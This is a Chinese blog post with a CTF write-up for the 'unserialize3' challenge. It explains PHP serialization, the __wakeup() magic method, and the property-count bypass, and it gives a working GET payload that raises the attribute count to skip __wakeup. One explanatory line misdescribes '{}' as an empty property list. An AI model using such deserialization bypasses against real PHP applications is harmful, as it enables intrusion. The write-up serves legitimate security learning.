[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解

简介: 序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式,以便能够在不同的系统和应用程序之间进行传输或存储。

_wakeup()及php序列化反序列化


序列化是指将数据结构或对象转换为可传输或可存储的格式的过程。这通常需要将数据转换为字节流或其他形式的编码格式,以便能够在不同的系统和应用程序之间进行传输或存储。


在 PHP 中,可以使用 serialize() 函数将对象序列化为字符串,然后保存到文件或传输到其他应用程序中。


序列化后的数据包含了对象的属性、方法和类型等信息,但没有对象的实例本身。


反序列化则是将序列化后的数据重新转换为对象、数据结构或变量的过程,以便在程序中进行操作或处理。


在 PHP 中,可以使用 unserialize() 函数将序列化后的字符串还原为原始的对象或数据,然后进行处理。


反序列化过程需要按照序列化时的格式和规则进行解析和处理,以确保数据的完整性和正确性。


这段代码涉及了 PHP 中的魔术方法 __wakeup() 和对象序列化的概念。其中 __wakeup() 在反序列化对象时自动调用,用于初始化对象的属性等操作。


对于上述代码中的 xctf 类,它有一个 $flag 属性,以及一个 __wakeup() 方法。当一个 xctf 对象被序列化并存储为字符串后,如果再次反序列化该字符串并尝试重建相应的对象时,PHP 就会自动调用该对象的 __wakeup() 方法。


因此,对于上述代码而言,如果访问一个类似 ?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";} 的 URL 地址,该地址会将序列化后的 xctf 对象(即code.php?code=O:4:"xctf":1:{s:4:"flag";s:3:"111";})传递给 PHP 引擎处理。如果该对象被成功反序列化,那么 __wakeup() 方法将会被自动调用,程序将会直接终止执行并输出 bad requests


序列化字符串结构分析


O:4:"xctf":1:{s:4:"flag";s:3:"111";} 是一个序列化后的字符串,表示一个名为 xctf 的对象,该对象有一个属性 flag,属性值为 111。它的具体结构如下:


O:表示被序列化的是一个对象

4:表示对象名 xctf 有4个字符

"xctf":表示对象的名称为 xctf

1:表示该对象只有一个属性

{}:表示该对象的属性列表为空

s:表示属性类型为字符串

4:表示属性名 flag 有4个字符

"flag":表示属性名为 flag

s:表示属性类型为字符串

3:表示属性值 111 有3个字符

"111":表示属性值为 111

_wakeup()的利用

如果 __wakeup() 方法不终止程序执行,那么在将序列化字符串反序列化为对象时,该方法会自动被调用,并执行其中的代码。在上述 xctf 类中,我们可以在 __wakeup() 方法中编写一些初始化对象属性等操作,使得wakeup函数中的对象经反序列化后能够正确运行。


如果将 __wakeup() 方法修改为如下代码:


public function __wakeup(){

   $this->flag = '222';

}


则在将序列化字符串 O:4:"xctf":1:{s:4:"flag";s:3:"111";} 反序列化为对象时,该对象的 $flag 属性值会被重置为 222。具体代码如下:


<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        $this->flag = '222';
    }
}
$serializedObj = 'O:4:"xctf":1:{s:4:"flag";s:3:"111";}'; // 序列化后的字符串
$obj = unserialize($serializedObj); // 反序列化
var_dump($obj); // 输出反序列化后的对象

运行上述代码后,输出结果如下:


object(xctf)#1 (1) {
  ["flag"]=>
  string(3) "222"
}


解题思路

由于反序列化时会自动调用_wakeup()函数,导致程序退出。

故可通过增大序列化字符串中表示对象属性个数的值,使其大于真实值,以此绕过_wakeup函数,(即伪属性绕过),从而实现程序正常运行。


伪属性数量绕过

假设有一个名为 Test 的 PHP 类,该类包含两个属性 $a 和 $b,并且定义了 __wakeup() 方法。如果要绕过 __wakeup() 方法,可以将表示对象属性数量的值设定为大于 2 的值,如下所示:


class Test {
    private $a;
    private $b;
    public function __wakeup() {
        echo "Execute wakeup method";
    }
}
$obj = new Test();
$obj->a = "aaa";
$obj->b = "bbb";
$serializedObj = serialize($obj); // 将对象序列化为字符串并保存
echo $serializedObj . "\n"; // 输出序列化后的字符串
// 将表示属性数量的值从 2 改成 3 并重新进行反序列化
$modifiedSerializedObj = str_replace("2", "3", $serializedObj);
$unserializedObj = unserialize($modifiedSerializedObj);
echo $unserializedObj->a . "\n"; // 正常输出 "aaa"
echo $unserializedObj->b . "\n"; // 正常输出 "bbb"



在上述代码中,首先创建一个名为 Test 的类,并在其中定义 __wakeup() 方法。在 __wakeup() 方法中,简单地输出了一条日志信息,表示该方法被正常执行。接着,创建一个 Test 对象 $obj,其中包含两个属性 $a 和 $b。


将 $obj 对象序列化为字符串,并输出该字符串的内容。再将该字符串中表示对象属性数量的值 2 修改为 3,并将修改后的字符串传入 unserialize() 函数进行反序列化。


由于修改后的字符串中的属性数量大于实际属性数量,因此在反序列化时不会触发 __wakeup() 方法。当我们访问反序列化后的对象中的属性 $a 和 $b 时,可以正常输出它们的值(即 "aaa" 和 "bbb")


若字符串中的属性数量等于实际属性数量,则不会输出aaa及bbb,仅输出日志信息


解题姿势

将对象序列化

O:4:"xctf":1:{s:4:"flag";s:3:"111";}


增加字符串中对象属性数量

O:4:"xctf":2:{s:4:"flag";s:3:"111";}


构造GET传参 /?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}


回显如下,反序列化时成功绕过_wakeup函数:

image.png

image.png



总结


以上为[CTF/网络安全]攻防世界unserialize3解题详析及php序列化反序列化实例讲解,分享序列化反序列化相关知识,读者可躬身实践。

我是秋说,我们下次见。

目录
相关文章
|
1月前
|
缓存 安全 PHP
PHP中的魔术方法与对象序列化
本文将深入探讨PHP中的魔术方法,特别是与对象序列化和反序列化相关的__sleep()和__wakeup()方法。通过实例解析,帮助读者理解如何在实际应用中有效利用这些魔术方法,提高开发效率和代码质量。
|
2月前
|
设计模式 算法 数据库连接
PHP中的设计模式:提高代码的可维护性与扩展性本文旨在探讨PHP中常见的设计模式及其应用,帮助开发者编写出更加灵活、可维护和易于扩展的代码。通过深入浅出的解释和实例演示,我们将了解如何使用设计模式解决实际开发中的问题,并提升代码质量。
在软件开发过程中,设计模式是一套经过验证的解决方案模板,用于处理常见的软件设计问题。PHP作为流行的服务器端脚本语言,也有其特定的设计模式应用。本文将重点介绍几种PHP中常用的设计模式,包括单例模式、工厂模式和策略模式,并通过实际代码示例展示它们的具体用法。同时,我们还将讨论如何在实际项目中合理选择和应用这些设计模式,以提升代码的可维护性和扩展性。
61 4
|
3月前
|
缓存 网络协议 安全
【网络攻防战】DNS协议的致命弱点:如何利用它们发动悄无声息的网络攻击?
【8月更文挑战第26天】DNS(域名系统)是互联网的关键组件,用于将域名转换为IP地址。然而,DNS协议存在安全漏洞,包括缺乏身份验证机制、缓存中毒风险及放大攻击的可能性。通过具体案例,如DNS缓存中毒和DNS放大攻击,攻击者能够误导用户访问恶意站点或对目标服务器实施DDoS攻击。为了防范这些威胁,可以采用DNSSEC实现数字签名验证、利用加密的DNS服务(如DoH或DoT)、限制DNS服务器响应以及及时更新DNS软件等措施。理解并应对DNS的安全挑战对于确保网络环境的安全至关重要。
98 2
|
13天前
|
PHP
PHP的pcntl多进程用法实例
PHP使用PCNTL系列的函数也能做到多进程处理一个事务。
|
6月前
|
安全 网络安全 PHP
深入理解PHP的命名空间与自动加载机制网络安全与信息安全:防护之道与攻防之术
【5月更文挑战第29天】在PHP的开发实践中,命名空间和自动加载机制是两个重要的概念,它们共同构成了现代PHP代码组织的基础。本文将详细解释命名空间在PHP中的应用,探讨其解决代码冲突和提高代码复用性的能力,同时深入研究自动加载机制的原理及其在项目中的实际运用,帮助开发者构建更加高效、易于维护的PHP应用。
|
6月前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:防护之道与攻防之策
【5月更文挑战第29天】在数字化时代,网络安全与信息安全已成为维护个人隐私、企业资产和国家安全的重要屏障。本文深入探讨了网络安全漏洞的成因、加密技术的应用以及提升安全意识的必要性,旨在为读者提供一个全面的安全防护知识框架。通过对当前网络威胁的分析,我们揭示了安全漏洞的本质及其对信息系统的潜在影响,并介绍了最新的加密技术如何作为防御工具来保护数据传输的安全。此外,文章还强调了培养全民网络安全意识的重要性,提出了一系列实用的安全建议和最佳实践。
|
1月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP开发领域,设计模式是解决常见问题的高效方案集合。它们不是具体的代码,而是一种编码和设计经验的总结。单例模式作为设计模式中的一种,确保了一个类仅有一个实例,并提供一个全局访问点。本文将深入探讨单例模式的基本概念、实现方式及其在PHP中的应用。
单例模式在PHP中的应用广泛,尤其在处理数据库连接、日志记录等场景时,能显著提高资源利用率和执行效率。本文从单例模式的定义出发,详细解释了其在PHP中的不同实现方法,并探讨了使用单例模式的优势与注意事项。通过对示例代码的分析,读者将能够理解如何在PHP项目中有效应用单例模式。
|
6月前
|
SQL 安全 网络安全
网络安全与信息安全:防护之道与攻防之策
【5月更文挑战第13天】 在数字化时代,网络安全和信息安全已成为维护信息空间稳定的关键。本文深入探讨了网络安全漏洞的成因、加密技术的应用以及提升安全意识的重要性。通过对现有安全威胁的分析,提出了一系列防御策略,并强调了持续教育和技术创新在构建坚固防线中的作用。
|
2月前
|
设计模式 数据库连接 PHP
PHP中的设计模式:如何提高代码的可维护性与扩展性在软件开发领域,PHP 是一种广泛使用的服务器端脚本语言。随着项目规模的扩大和复杂性的增加,保持代码的可维护性和可扩展性变得越来越重要。本文将探讨 PHP 中的设计模式,并通过实例展示如何应用这些模式来提高代码质量。
设计模式是经过验证的解决软件设计问题的方法。它们不是具体的代码,而是一种编码和设计经验的总结。在PHP开发中,合理地使用设计模式可以显著提高代码的可维护性、复用性和扩展性。本文将介绍几种常见的设计模式,包括单例模式、工厂模式和观察者模式,并通过具体的例子展示如何在PHP项目中应用这些模式。
|
2月前
|
设计模式 SQL 安全
PHP中的设计模式:单例模式的深入探索与实践在PHP的编程实践中,设计模式是解决常见软件设计问题的最佳实践。单例模式作为设计模式中的一种,确保一个类只有一个实例,并提供全局访问点,广泛应用于配置管理、日志记录和测试框架等场景。本文将深入探讨单例模式的原理、实现方式及其在PHP中的应用,帮助开发者更好地理解和运用这一设计模式。
在PHP开发中,单例模式通过确保类仅有一个实例并提供一个全局访问点,有效管理和访问共享资源。本文详细介绍了单例模式的概念、PHP实现方式及应用场景,并通过具体代码示例展示如何在PHP中实现单例模式以及如何在实际项目中正确使用它来优化代码结构和性能。
47 2
下一篇
无影云桌面